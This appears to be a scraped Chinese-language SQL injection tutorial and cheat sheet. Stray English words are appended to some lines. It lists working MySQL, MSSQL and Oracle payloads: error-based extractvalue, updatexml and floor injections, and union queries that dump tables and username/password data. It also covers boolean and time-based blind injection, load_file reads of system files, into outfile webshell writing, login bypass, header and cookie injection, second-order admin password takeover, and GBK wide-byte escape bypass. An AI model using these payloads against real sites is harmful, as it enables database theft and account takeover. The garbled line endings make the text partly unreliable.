Mirror王宇阳javascript
2019-10-22php
SQL的注入流程通常以下:html
一、判断是否有SQL注入漏洞(判断注入点)前端
二、判断数据库的系统架构、数据库名、web应用类型等java
三、获取数据库信息mysql
四、加密信息破解web
五、进行提权sql
当输入(注入)的参数为整数,则能够认为该漏洞注入点为数字型注入;数据库
http://192.168.2.172/index.php/?id=8
在后端中SQL语句构成以下:后端
select * from user where id=8;
当输入(注入)的参数为字符/串时能够认定为是字符型注入漏洞
POST注入:注入字段在POST数据中
Cookie注入:注入字段在Cookie数据中
延迟注入:使用数据库延迟特性进行注入
搜索注入:在搜索栏中利用恶意代码进行注入
base64注入:注入字符串通过base64加密
' or 1=1 # and 1=1 # and '1'='1' # 1') and ('1=1') #
url/?id=1/1 url/?id=1/0
PHP搭建的Web应用后端为MySQL
JSP搭建的Web应用后端为Oracle
ASP搭建的Web应用后端为MSSQL
字符串链接判断:
?id=1 and '1'+'1' = '11' ?id=1 and concat('1','1')='11'
判断数据库的系统库表:
' and (select count(*) from information_schema.tables)>0 and 1=1
默认变量:
'?; select @@servername--+
字符串链接判断:
?id=1 and '1'+'1'='11'
数据库系统表判断:
' and (select count(*) from sysobjects)>0 and 1=1
系统表判断:
' and (select count(*) from sys.user_tables)>0 and 1=1
字符串链接判断:
and '1'||'1' = '11' and concat('1','1')='11'
语句执行后返回异常信息,这些异常信息包含了重要数据
floor
和group by
配合使用group by
的key惟一性和编码顺序致使二次执行产生不一样大的key
' and select count(*) from table group by floor(rand(0))*2 #
union select 1,count(*),concat(0x7e,0x7e,(select table_name from information_schema.tables where table_schema='schema_name' limit 0,1),0x7e,0x7e,floor(rand(0)*2))x from information_schema.tables group by x #
count()
统计行数
floor(x)
返回小于或等于x的整数
rand()
返回0~1的随机数
floor(rand(0)*2)
返回数的规律011011
原始表须要拥有三条数据以上
报错注入产生缘由:
调用count()函数是,会建立一张临时表用来统计group by后的行数;第一次查询到的结果为0,插入到临时表中,因为结果为0 再一次对原始表进行查询,结果返回1,插入到临时表中;第二次查询结果为1 由于临时表有了1,因此直接在count(1)上加1,此时1字段有了两行,第三次查询结果为0 插入到临时表的同时再次查询原始表,结果为1进行插入,因为此前1字段已经存在。
# 爆表 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1 --+ # 爆字段 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))=1 --+ # 爆数据 and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)))=1 --+
1' and extractvalue(1,concat(0x7e,user()))#
extractvalue(xml_document,xpath_string)
从目标XML查询返回字符串
xml_document
是string的格式,为XML文档对象的名称中文为Doc
xpath_string
Xpath格式的字符串
concat
返回结果为链接参数产生的字符串
咱们从数据库的注入点中进行报错注入,获得了数据库当前表
1' and updatexml(1,concat(0x7e,(user())),1);#
updatexml(xml_document,xpath_string,new_value)
从目标XML查询返回字符串
xml-document
是字符串格式,为XML文档对象的名字中文为doc
xpath-string
xpath格式字符串
new_value
new_value格式字符串
and (select * from (select * from test as a join test as b) as c using(column_name1,...));
join
链接两张表
test
表名
using
关联两张表的相同字段
union select * from (select name_const(version(),1),name_const(version(),1))x;#
name_const(0)
重复报错,传入参数为常量
# 猜解列数 union select 1,2[,……] --+ # 爆表 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ # 爆字段 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' --+ # 爆数据 union select 1,group_concat(id,0x7e,email_id),3 from emails --+
group_concat()
: 将group by产生的同一个分组中的值链接起来,返回一个字符串结果
经过条件是否成立来判断
?id=1' and left(version(),1)='5' --+
left()
:从左截取a结果的1个长度的字符
只有当and
后面的sql语句为True才不会报错~……
经过猜解的方式,利用left的方法猜解数据库的版本信息第一个字符(环境是Mysql 5.1,因此版本信息第一个字符是‘5’)由此推演,咱们能够利用布尔的判断特性来猜解数据库名……
若是咱们不断的对目标进行猜解,就能够获得数据库名的第一个字符,以此类推第二个字符……第N个字符;数据库名的长度也能够经过length(database())>=*
进行猜解
牢记布尔盲注的特色:只有当and
后面的sql语句为True才不会报错;报错就表示and后的sql语句不成立……开动脑筋就能够创造奇迹
ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 #
ascii(substr((select database()),1,1))=98
substr(a,b,c)
将a结果从b开始截取c长度字符,ascii()将字符转为ascii值
like匹配注入
select user() like 'ro%'
extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+
updatexml(1,concat(0x7e,(select @@version),0x7e),0x7e) --+
主要思路就是利用时间延迟来判断布尔条件是否达成,本质上是利用时间延迟来进行布尔和报错盲注的判断依据条件;用于没有任何回显信息的时候使用~
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句, 条件为假,
?id=1' and if(ascii(substr(database(),1,1))=96,1,sleep(10)) --+
ascii()
负责猜解;if()
负责判断,如果猜解成立则返回1,如果猜解不成立延迟10秒
and exists(select * from admin);
exists()
检查行是否存在返回true或false
XOR(if(now()=sysdate(),sleep(4),0))OR;
xor
异或,当条件不成立则执行sleep(4)
now()
返回语句开始执行的时间
sysdate()
动态的实时时间
sleep()
设置sql语句的执行时间
distinct
返回不重复字段
load_file(file_name)
:读取文件并返回该文件的内容做为一个字符串
具备文件的读写权限 show variables like '%secure%';
文件存在服务器上且可读
了解文件的具体路径
绝对物理物理:提交一个错误的请求,程序会由几率性质爆出web目录的绝对路径diaplay_errors=on
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109))) 利用 hex()将文件内容导出来, 尤为是 smb 文件时可使用。 -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) Explain: “char(99,58,47,98,111,111,116,46,105,110,105)” 就是“c:/boot.ini” 的 ASCII 代码 -1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69) Explain: “c:/boot.ini” 的 16 进制是“0x633a2f626f6f742e696e69” -1 union select 1,1,1,load_file(c:\boot.ini) Explain:路径里的/用 \代替
load data infile
从文本文件中读取行数据,并存入一个表中,
load data infile {url} into table 表名(字段)
select [^] into outfile '[file_name]';
选择的一行写入到文件中,该文件保存在服务器主机上
若是达到渗透攻击的目的~就i利用into outfile将一句话木马写入到文件中
提交表单,表单数据在后台会构成sql语句;
$sql="SELECT user, pass FROM users WHERE username='$user' and pass='$pass'";
利用注释符号的特性,改变sql语句的限制~
直接丢上万能密码
admin' or '1'='1' #
uname= admin' or '1'='1' #&passwd=pass&submit=Submit
语句在后台就会构成:
$sql="SELECT user, pass FROM users WHERE username='admin' or '1'='1'#' and pass='$pass'"
后半部分的pass内容直接被注释了!
uname= ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=pass&submit=Submit
post的注入利用,其实本质依旧没有变~只是改变了请求的构造结构
有回显的时候使用union或报错注入
没法使用常规回显的时候可使用盲注……
用户代理(user agent)是记录软件程序的客户端信息的 HTTP 头字段,他能够用来统计目标和违规协议。在 HTTP 头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。并非全部的应用程序都会被获取到 user-agent 信息,可是有些应用程序利用它存储一些信息(如:购物车)。在这种状况下,咱们就有必要研究下 user-agent 头存在的问题了。
GET /index.php HTTP/1.1 Host:xx.xxx.xxx.xx User-Agent:admin' or 1/*
Referer 是另一个当应用程序没有过滤存储到数据库时,容易发生 SQL 注入的 HTTP 头。它是一个容许客户端指定的可选头部字段,经过它咱们能够获取到提交请求 URI 的服务器状况。它容许服务器产生一系列的回退连接文档,像感兴趣的内容,日志等。它也容许跟踪那些坏连接以便维护。
GET /index.php HTTP/1.1 Host: [host] User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36 Referer: http://www.yaboukir.com'
在ASP中,Request对象获取客户端提交数据使用的是POST仍是GET方法,同时Request对象能够不经过集合过的数据,直接使用request("name")
asp按照QueryString(get),Form(post),Cookie,Serverariable集合顺序来搜索,Cookie保存在客户端的一个文本文件中,能够修改;正是这个缘由能够利用request.cookie方法来提交变量的值,利用系统的漏洞来进行注入
条件1是:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。
条件2是:在条件1的基础上还须要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数能够是是在URL后面的参数也能够是cookie里面的参数这里没有作筛选,以后的原理就像咱们的sql注入同样了。
javascript:alert(document.cookie="id="+escape("1"))
document.cookie
当前浏览器中的cookie的value
alert()
弹出对话框,在对话框中确认信息
escape()
用于对字符串进行编码
Cookie的注入原理核心在于修改本地保存的Cookie,利用Cookie来提交非法的查询语句
若是开发者没有对Cookie进行过滤检查,Cookie的就可能会形成非法查询语句的构造
X-Forwarded-For
是HTTP头的一个字段;他被认为是客户端经过HTTP代理或者负载均衡器链接到Web服务端获取源IP地址的标准
X-Forwarded-For
常见于检测用户的IP是否合法;
利用FireFox的XFF Header插件或者将Burp抓到的爆保存给SQLmap
*- 借鉴sqli-labs-24
分析环境文件:
login.php
:查询数据库用户存在和验证登陆
login.php中使用了mysql_real_escape_string()
函数对用户输入的字符串进行处理;会将特殊字符进行转义使之失去效果;可是~以后数据存储进数据库后转义的字符会恢复原样!
在login_create.php
注册页面中,使用了mysql_real_escape_string()
可是数据仍是会被存放在数据库中……
数据会被完整的记录在数据库中
数据库中有了咱们的“小玩意”以后……
登陆咱们的帐户,由于咱们的帐户是以admin'#
保存的,当然要这样的去访问和登陆
前端提交user和pass后,会在修改密码页面修改密码
就这样咱们成功的修改了admin的密码!为啥呢?
Sql 语句变为 UPDATE users SET passwd=”New_Pass” WHERE username =’ admin’ # ‘ AND password=’
也 就 是 执 行 了 UPDATE users SET passwd=”New_Pass” WHERE sername =’admin’
利用注册的admin’# 修改密码时候从数据库提取该数据 形成了数据 命令拼接
mysql 在使用 GBK 编码的时候, 会认为两个字符为一个汉字, 例如%aa%5c 就是一个
汉字(前一个 ascii 码大于 128 才能到汉字的范围) 。 咱们在过滤 ’ 的时候, 每每利用的思
路是将 ‘ 转换为 ’
一、 %df 吃掉 具体的缘由是 urlencode(‘) = %5c%27, 咱们在%5c%27 前面添加%df, 形
成%df%5c%27, 而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当作一个汉字, 此
事%df%5c 就是一个汉字, %27 则做为一个单独的符号在外面, 同时也就达到了咱们的目的。
二、 将 ’ 中的 过滤掉, 例如能够构造 %**%5c%5c%27 的状况, 后面的%5c 会被前面的%5c
给注释掉。 这也是 bypass 的一种方法。
get 型的方式咱们是以 url 形式提交的, 所以数据会经过 URLencode
post 型的注入当中, 将 utf-8 转换为 utf-16 或 utf-32, 例如将 ‘ 转为 utf-16 为 � ‘